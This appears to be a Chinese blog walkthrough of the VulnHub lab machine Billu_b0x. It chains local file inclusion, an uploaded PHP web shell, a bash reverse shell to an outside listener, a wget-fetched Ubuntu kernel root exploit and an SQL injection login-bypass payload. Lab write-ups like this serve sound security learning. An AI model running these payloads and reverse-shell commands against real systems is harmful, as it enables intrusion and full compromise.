vulnhub Billu_b0x题解
vulnhub Billu_b0x题解

0X01 Main Point

  • 1.简单的代码审计
  • 2.文件包含漏洞(LFI) 读取源码
  • 3.文件上传得到webshell
  • 4.Linux内核提权(Ubuntu 12.04)
  • 5.SQLI

0X02 前期嗅探和端口探测

arp-scan -l    #得到靶机IP

在这里插入图片描述

nmap -sV -A -p- 172.20.10.3   #探测靶机端口及系统情况

在这里插入图片描述

常规的开放端口,也无法先从端口直接得到信息,访问网页:
在这里插入图片描述

是登录界面,并且提示你要进行SQL注入,但是在这里手工注了半天,Sqlmap跑了很久,发现把引号给过滤了,实在不知如何注入。换个思路,先扫目录看看情况:
在这里插入图片描述

其中/inphpinfo页面,/phpmy是连接数据库,add.php存在可以上传的地方,但是没有任何反应,抓包后得到的response包是一直没有变化的:
在这里插入图片描述

判断可能这是登录后有了session后才能正常使用的页面,test.php比较奇怪:
在这里插入图片描述

GET请求?file=/etc/passwd没有反应,GET各种请求都没有反应,不妨换成POST请求file=/etc/passwd:
在这里插入图片描述

存在LFI,发现可以读取/index.phpc.phpshow.phppanel.php等,其中读取 c.php时发现:
在这里插入图片描述

使用了mysql_connect函数,我们得到了数据库的账号密码bulli,b0x_billu,并且整理panel.php:

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
    header('Location: index.php', true, 302);
    exit();

}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"';
if(isset($_POST['continue']))
{
    $dir=getcwd();
    $choice=str_replace('./','',$_POST['load']);

    if($choice==='add')
    {
            include($dir.'/'.$choice.'.php');
            die();
    }

        if($choice==='show')
    {

        include($dir.'/'.$choice.'.php');
        die();
    }
    else
    {
        include($dir.'/'.$_POST['load']);
    }

}


if(isset($_POST['upload']))
{

    $name=mysqli_real_escape_string($conn,$_POST['name']);
    $address=mysqli_real_escape_string($conn,$_POST['address']);
    $id=mysqli_real_escape_string($conn,$_POST['id']);

    if(!empty($_FILES['image']['name']))
    {
        $iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
    $r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
    $image=array('jpeg','jpg','gif','png');
    if(in_array($r,$image))
    {
        $finfo = @new finfo(FILEINFO_MIME); 
    $filetype = @$finfo->file($_FILES['image']['tmp_name']);
        if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
                {
if (move_uploaded_file($_FILES['image']['tmp_name'],'uploaded_images/'.$_FILES['image']['name']))
  { 
    echo "Uploaded successfully ";
$update='insert into  users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';mysqli_query($conn, $update);}
                }
        else
            {
    echo "i told you dear, only png,jpg and gif file are allowed"; } } else { echo "
only png,jpg and gif file are allowed"; } } } ?> 

先利用数据库账号密码登录phpmy.php,找到了数据库存储的用户名密码,从而可以登录index.php

在这里插入图片描述

user:biLLu
pass:hEx_it

直接登录后发现了刚刚无法正常上传的add.php还有show.php,是一个简单的上传图片的页面,而且我们知道源码,进行代码审计,发现如下这一段存在包含漏洞:

if(isset($_POST['continue']))
{
    $dir=getcwd();
    $choice=str_replace('./','',$_POST['load']);

    if($choice==='add')
    {
            include($dir.'/'.$choice.'.php');
            die();
    }

        if($choice==='show')
    {

        include($dir.'/'.$choice.'.php');
        die();
    }
    else
    {
        include($dir.'/'.$_POST['load']);
    }

}

如果$choice不是showadd那么就会执行include($dir.'/'.$_POST['load']);
include把后面的文件作为PHP文件处理,可以在本地搭建环境进行测试:

<?php
$dir=getcwd();
include($dir.'/'.$_POST['load']);
 ?>

这是localhostindex.php,在同一目录下放入内容为:<?php
echo "HELLO WORLD";?>
的jpg文件,成功执行了代码:

在这里插入图片描述

回到panel.php,这个时候我们上传一个内容为<?php system($_GET['cmd']); ?>的文件马,然后修改load的值为图片路径(图片路径可以在显示view-source显示源码中找到),进行GET请求就能成功执行代码:

在这里插入图片描述

直接在burpsuite中构造反弹shell,kali监听即可(注意在burpsuite中post方法需要进行url编码

echo “bash -i >& /dev/tcp/172.20.10.8/2333 0>&1″ | bash

在这里插入图片描述

成功得到shell,/home下有ica,但是进入查看后发现都没有权限

find / -perm -u=s -type f 2>/dev/null

发现SUID文件都比较常规,无法利用,也没有什么新的提示
uname -alsb_release -a查看内核版本:

在这里插入图片描述

searchsploit ubuntu 12.04发现存在提权脚本:
在这里插入图片描述

结合linux kernel版本我们选用37292.c这个脚本:

cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html/shell.c
service apache2 start #开启apache2服务

靶机shell : wget http://172.20.10.8/shell.c
然后编译,最后直接执行成功得到root权限,此靶机没有flag ~qwq

在这里插入图片描述


结合file读取的index.php可以知道过滤规则:

$uname=str_replace('\'','',urldecode($_POST['un'])); 
$pass=str_replace('\'','',urldecode($_POST['ps'])); 
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''; 
$result = mysqli_query($conn, $run); 
if (mysqli_num_rows($result) > 0) 
{
 $row = mysqli_fetch_assoc($result); echo "You are allowed
"; 
$_SESSION['logged']=true; 
$_SESSION['admin']=$row['username']; 
header('Location: panel.php', true, 302); 
} 

str_replace的作用是将字符’ 替换为空,可以放到本地环境测试:

在这里插入图片描述

这样构造payload:un=' or 1=1 -- \'&ps=' or 1=1 -- \'得到的sql语句为:

select * from auth where pass=' or 1=1 -- \' and uname=' or 1=1 -- \'

ps的值为' or 1=1 -- \' and uname='已经闭合然后 or 1=1 --这样就是恒为真,成功绕过!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇